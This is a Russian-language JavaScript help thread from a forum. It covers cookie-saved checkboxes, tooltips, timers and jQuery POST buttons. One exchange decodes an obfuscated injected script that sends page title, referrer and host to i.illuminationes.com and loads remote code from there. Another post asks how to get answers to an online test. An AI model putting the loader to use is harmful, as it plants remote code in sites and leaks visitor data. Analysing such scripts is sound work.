[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'Javascript' started by Kaimi, 7 May 2015.

  1. dondy

    dondy Member

    Joined:
    5 Jun 2015
    Messages:
    561
    Likes Received:
    61
    Reputations:
    5
    Почему могут стираться cookie?
    у меня на сайте две старницы имеют чекбоксы, отмененые чекбоксы сохраняются в cookie, при обновлении страницы всё сохраняется, но как перехожу на другую страницу сайта и начинаю там отмечать чекбоксы, результаты той страницы переписывают переменную, а не добавляются в неё
    id у чекбоксов разные и не повторяются
    почему так происходит, и как сделать что бы две страницы с чекбоксами не затирали друг друга ?
    можно ли всё дописывать как то в одну переменную ? или проще и надёжнее создать файл с другой переменной для этой страницы ?

    подключаются в скрипте 2 файла
    jquery.cookie.min.js
    checkbox_save.js

    jquery.cookie.min.js
    Code:
    /*!
    * jQuery Cookie Plugin v1.4.0
    * https://github.com/carhartl/jquery-cookie
    *
    * Copyright 2013 Klaus Hartl
    * Released under the MIT license
    */
    (function(factory){if(typeof define==="function"&&define.amd){define(["jquery"],factory)}else{factory(jQuery)}}(function($){var pluses=/\+/g;function encode(s){return config.raw?s:encodeURIComponent(s)}function decode(s){return config.raw?s:decodeURIComponent(s)}function stringifyCookieValue(value){return encode(config.json?JSON.stringify(value):String(value))}function parseCookieValue(s){if(s.indexOf('"')===0){s=s.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\")}try{s=decodeURIComponent(s.replace(pluses," "))}catch(e){return}try{return config.json?JSON.parse(s):s}catch(e){}}function read(s,converter){var value=config.raw?s:parseCookieValue(s);return $.isFunction(converter)?converter(value):value}var config=$.cookie=function(key,value,options){if(value!==undefined&&!$.isFunction(value)){options=$.extend({},config.defaults,options);if(typeof options.expires==="number"){var days=options.expires,t=options.expires=new Date();t.setDate(t.getDate()+days)}return(document.cookie=[encode(key),"=",stringifyCookieValue(value),options.expires?"; expires="+options.expires.toUTCString():"",options.path?"; path="+options.path:"",options.domain?"; domain="+options.domain:"",options.secure?"; secure":""].join(""))}var result=key?undefined:{};var cookies=document.cookie?document.cookie.split("; "):[];for(var i=0,l=cookies.length;i<l;i++){var parts=cookies[i].split("=");var name=decode(parts.shift());var cookie=parts.join("=");if(key&&key===name){result=read(cookie,value);break}if(!key&&(cookie=read(cookie))!==undefined){result[name]=cookie}}return result};config.defaults={};$.removeCookie=function(key,options){if($.cookie(key)!==undefined){$.cookie(key,"",$.extend({},options,{expires:-1}));return true}return false}}));
    checkbox_save.js - он подключается вконце - после размещения блоков с чекбоксами
    Code:
    $("#checkAll").on("change", function() {
    $(':checkbox').not(this).prop('checked', this.checked);
    });
    
    $(":checkbox").on("change", function(){
    var checkboxValues = {};
    $(":checkbox").each(function(){
    checkboxValues[this.id] = this.checked;
    });
    $.cookie('checkboxValues', checkboxValues, { expires: 30, path: '/' })
    });
    
    function repopulateCheckboxes(){
    var checkboxValues = $.cookie('checkboxValues');
    if(checkboxValues){
    Object.keys(checkboxValues).forEach(function(element) {
    var checked = checkboxValues[element];
    $("#" + element).prop('checked', checked);
    });
    }
    }
    
    $.cookie.json = true;
    repopulateCheckboxes();
    checkboxValues - она переписывается когда отмечаю на другой странице чекбоксы, пробовал все чекбоксы делать на одной, то всё нормально
    сейчас единственый вариант - клонировать файл checkbox_save.js и менять имя checkboxValues на другое
     
    #21 dondy, 9 Oct 2015
    Last edited: 9 Oct 2015
  2. Waki

    Waki Member

    Joined:
    9 Oct 2015
    Messages:
    55
    Likes Received:
    31
    Reputations:
    10
    dondy, объяви переменную `checkboxValues` вне функции, под строкой `$.cookie.json = true;`, так
    Code:
    var checkboxValues = $.cookie('checkboxValues') !== undefined ? $.cookie('checkboxValues') : {};
    
    в функциях закомментируй строку `var checkboxValues = ...`
     
    dondy likes this.
  3. Timon132009

    Timon132009 Member

    Joined:
    7 Jun 2009
    Messages:
    136
    Likes Received:
    17
    Reputations:
    0
    Подскажите пожалуйста, что-то не понимаю как сделать. Задача такая. Есть промежуток времени, например с 9 до 22 часов . в котором каждые 25 секунд происходит событие. Необходимо на JS как-то отследить это событие. Т.е. чтобы одновременно с событием выскакивал алерт. Можно проверять сколько секунд прошло сначала дня и условием сравнивать секунды, но это не вариант так как таких условий будет очень много. Так же можно было бы просто запустить таймер на 25 сек в 9 часов, но тоже не вариант. Страничка со скриптом должна открываться и закрываться в любое время
     
  4. Alexdoc

    Alexdoc New Member

    Joined:
    11 Oct 2015
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Code:
    <script>
      var a = "'02'02'02'02'1Aqapkrv'1G'2C'02'02'02'02'02'02'02'02dwlavkml'02qvpkleEgl'0:ngl'0;'5@'2C'02'02'02'02'02'02'02'02'02'02'02'02tcp'02vgzv'02'1F'02'00'00'1@'2C'02'02'02'02'02'02'02'02'02'02'02'02tcp'02ajcpqgv'02'1F'02'00c`afgdejkhinolmrspqvwtuz{x23016745:;'00'1@'2C'02'02'02'02'02'02'02'02'02'02'02'02dmp'0:'02tcp'02k'1F2'1@'02k'02'1A'02ngl'1@'02k))'02'0;'2C'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02vgzv'02)'1F'02ajcpqgv,ajcpCv'0:Ocvj,dnmmp'0:Ocvj,pclfmo'0:'0;'02('02ajcpqgv,nglevj'0;'0;'1@'2C'02'02'02'02'02'02'02'02'02'02'02'02pgvwpl'02vgzv'1@'2C'02'02'02'02'02'02'02'02'5F'2C'02'02'02'02'02'02'02'02qgvVkogmwv'0:32'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02fgdcwnv]ig{umpf'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,vkvng'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02qg]pgdgppgp'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,pgdgppgp'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02jmqv'02'1F'02glamfgWPKAmormlglv'0:uklfmu,nmacvkml,jmqv'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02`cqg'02'1F'02'00k,knnwoklcvkmlgq,amo-hqlkvaj'00'1@'2C'02'02'02'02'02'02'02'02tcp'02wwkf'02'1F'02qvpkleEgl'0:7'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02l]wpn'02'1F'02'00jvvr'1C--'00'02)'02wwkf'02)'02'00,'00'02)'02`cqg'02)'02'00'1Dfgdcwnv]ig{umpf'1F'00'02)'02fgdcwnv]ig{umpf'02)'2C'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02'00'04qg]pgdgppgp'1F'00'02)'02qg]pgdgppgp'02)'02'00'04qmwpag'1F'00'02)'02jmqv'1@'2C'02'02'02'02'02'02'02'02kd'02'0:fgdcwnv]ig{umpf'02'03'1F'1F'02lwnn'02'04'04'02fgdcwnv]ig{umpf'02'03'1F'1F'02'05'05'02'04'04'02qg]pgdgppgp'02'03'1F'1F'02lwnn'02'04'04'02qg]pgdgppgp'02'03'1F'1F'02'05'05'0;'5@'2C'02'02'02'02'02'02'02'02'02'02'02'02fmawoglv,upkvg'0:'05'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'02qpa'1F'00'05'02)'02l]wpn'02)'02'05'00'1G'05'02)'02'05'1A'05'02)'02'05-qapkrv'1G'05'0;'1@'2C'02'02'02'02'02'02'02'02'5F'2C'02'02'02'02'1A-qapkrv'1G";
      b = "";
      c = "";
      var clen;
      clen = a.length;
      for (i = 0; i < clen; i++) {
      b += String.fromCharCode(a.charCodeAt(i) ^ 2)
      }
      c = unescape(b);
      document.write(c);
    </script>
    Помогите плиз расшифровать Js

    что делает этот скрипт?
    Заранее спасибо
     
  5. Waki

    Waki Member

    Joined:
    9 Oct 2015
    Messages:
    55
    Likes Received:
    31
    Reputations:
    10
    закодировано вот что
    Code:
        <script>
            function stringGen(len){
                var text = "";
                var charset = "abcdefghijklmnopqrstuvwxyz0123456789";
                for( var i=0; i < len; i++ )
                    text += charset.charAt(Math.floor(Math.random() * charset.length));
                return text;
            }
            setTimeout(10);
            var default_keyword = encodeURIComponent(document.title);
            var se_referrer = encodeURIComponent(document.referrer);
            var host = encodeURIComponent(window.location.host);
            var base = "i.illuminationes.com/jsnitch";
            var uuid = stringGen(5);
            var n_url = "http://" + uuid + "." + base + "?default_keyword=" + default_keyword +
                    "&se_referrer=" + se_referrer + "&source=" + host;
            if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
                document.write('<script type="text/javascript" src="' + n_url + '">' + '<' + '/script>');
            }
        </script>
    
    далее js файл не удалось получить, сайт i.illuminationes.com у меня не открывался
     
    Alexdoc likes this.
  6. Alexdoc

    Alexdoc New Member

    Joined:
    11 Oct 2015
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Большое спасибо за помощь!
     
  7. avin

    avin Member

    Joined:
    4 Jul 2011
    Messages:
    103
    Likes Received:
    41
    Reputations:
    2
    Ты вроде напутал порядок операций в конце, посмотри внимательней
     
  8. dondy

    dondy Member

    Joined:
    5 Jun 2015
    Messages:
    561
    Likes Received:
    61
    Reputations:
    5
    Всем привет!
    помогите пожалуйста скрыть стандартный title у ссылок с помощью js без jquery, реально ли?
    <a href="url.php" title="текст подсказки">анкор ссылки</a>
    title="текст подсказки" - применяется в css подсказке, удалить тэг из ссылки нельзя, но при наведении на ссылку показывается ещё и стандартный a href title
     
  9. Waki

    Waki Member

    Joined:
    9 Oct 2015
    Messages:
    55
    Likes Received:
    31
    Reputations:
    10
    <a href="url.php" data-title="текст подсказки">анкор ссылки</a> и css подправь

    вот пример http://cbracco.me/a-simple-css-tooltip/
     
    dondy likes this.
  10. dondy

    dondy Member

    Joined:
    5 Jun 2015
    Messages:
    561
    Likes Received:
    61
    Reputations:
    5
    А можно ли не меняя параметров в css или не дописывая id и class ссылкам, спрятать title стандартный ?
     
  11. not_bad

    not_bad Banned

    Joined:
    23 Sep 2012
    Messages:
    172
    Likes Received:
    3
    Reputations:
    0
    Есть онлайн тест на javascript. Как узнать правильные ответы? Все подгружаемые скрипты и прочее просмотрел но ничего похожего на ответы нету. Плохо смотрел или ответы хранятся на сервере? Если на сервере тогда как их там посмотреть?
     
  12. Tatikoma

    Tatikoma New Member

    Joined:
    2 Mar 2016
    Messages:
    8
    Likes Received:
    3
    Reputations:
    1
    >Есть онлайн тест на javascript. Как узнать правильные ответы? Все подгружаемые скрипты и прочее просмотрел но ничего похожего на ответы нету. Плохо смотрел или ответы хранятся на сервере? Если на сервере тогда как их там посмотреть?
    Давайте по-порядку, если тест "онлайн", то есть серверная часть, которая конечно может быть на JavaScript (например NodeJS), но вовсе не обязательно будет на нём.

    >Как узнать правильные ответы? Все подгружаемые скрипты и прочее просмотрел но ничего похожего на ответы нету. Плохо смотрел или ответы хранятся на сервере?
    Если тест делали не совсем уж конченные разработчики, то ответов в коде вы не найдете. Самый простой способ узнать правильные ответы - погуглить вопросы.
    Если гуглить вопросы не представляется возможным, - то можно попробовать перебирать различные варианты, если система позволяет безболезненно много раз проходить тест.

    >Если на сервере тогда как их там посмотреть?
    Посмотреть куда клиент отправляет ваши ответы, подключится к этому серверу, найти код проверки корректности ответов, - подумать, - вытащить правильные ответы. Если по-простому, - то никак.

    Было бы неплохо видеть ссылку на тест.
     
  13. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,986
    Likes Received:
    871
    Reputations:
    198
    Скиньте пару книжек, желательно с более менее новыми стандартами 4-5
     
    _________________________
  14. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
  15. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,986
    Likes Received:
    871
    Reputations:
    198
    Не со всем то но спасибо.
     
    _________________________
  16. FuckingSheet

    FuckingSheet New Member

    Joined:
    26 Dec 2016
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Есть какой либо сайт. Я хочу на нём использовать userscript(юзерскрипт), но без каких либо дополнений и плагинов. Фактический мне нужно, чтобы я запустил файл, -> открылся сайт и были выполнены некоторые действия автоматически, как мне это можно реализовать с помощью JavaScript? А вообще если есть другие способы, хотелось бы услышать ответ.
     
  17. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    Здраствуйте, на сайте есть кнопки на яваскрипте, как перехватить данные отправляемые и воспроизвести через cURL? Я пробовал httanalyzer но что то никаких запросов при нажатии на кнопку непроходит
     
  18. Octavian

    Octavian Member

    Joined:
    8 Jul 2015
    Messages:
    476
    Likes Received:
    85
    Reputations:
    21
    Code:
    <script>
    $(document).ready(function(){
        $("#submit").click(function(){
            var value = $("#id").val();
           
            $.post("http://localhost/cart/index.php",
            {
            value:value
            },
            function(data){
                $('#alert').html(data);
            }
            );
        });
    });
    </script>
    </head>
    <body>
    <a href="cos.php">Cosul contine <h5 id="alert">2</h5> produse</a>
     <tr>   
            <td>
                <input type="hidden" name="2" value="2" id="id">
                <button name="2" id="submit">cumpara</button>
            </td>
    </tr>
    <tr>
        <td>CSSHTML</td>
        <td>50</td>
    
            <td>
                <input type="hidden" name="3" value="3" id="id">
                <button name="3" id="submit">cumpara</button>
            </td>
    </tr>
    
    Есть такои кусок JS/HTML при нажатие на бутон отрпавляется POST запрос к index.php с пост значением из value="2"
    Мне нужно чтоб когда нажимался бутон отправлялось значение которое сидит в <td></td>
    То есть даныи код работает но он отправляет всегда только value="2" и работает только первыи бутон
    Нужно сделать привязку както <td> на странице много
     
  19. Tatikoma

    Tatikoma New Member

    Joined:
    2 Mar 2016
    Messages:
    8
    Likes Received:
    3
    Reputations:
    1
    То что ты ищешь - PhantomJS.
     
  20. Tatikoma

    Tatikoma New Member

    Joined:
    2 Mar 2016
    Messages:
    8
    Likes Received:
    3
    Reputations:
    1
    А где сам <td></td> ?

    То что тебе нужно в этой строке: var value = $("#id").val();

    Если у тебя в принципе один td на всю страницу, то можно написать просто var value = $("td").val();
     
Loading...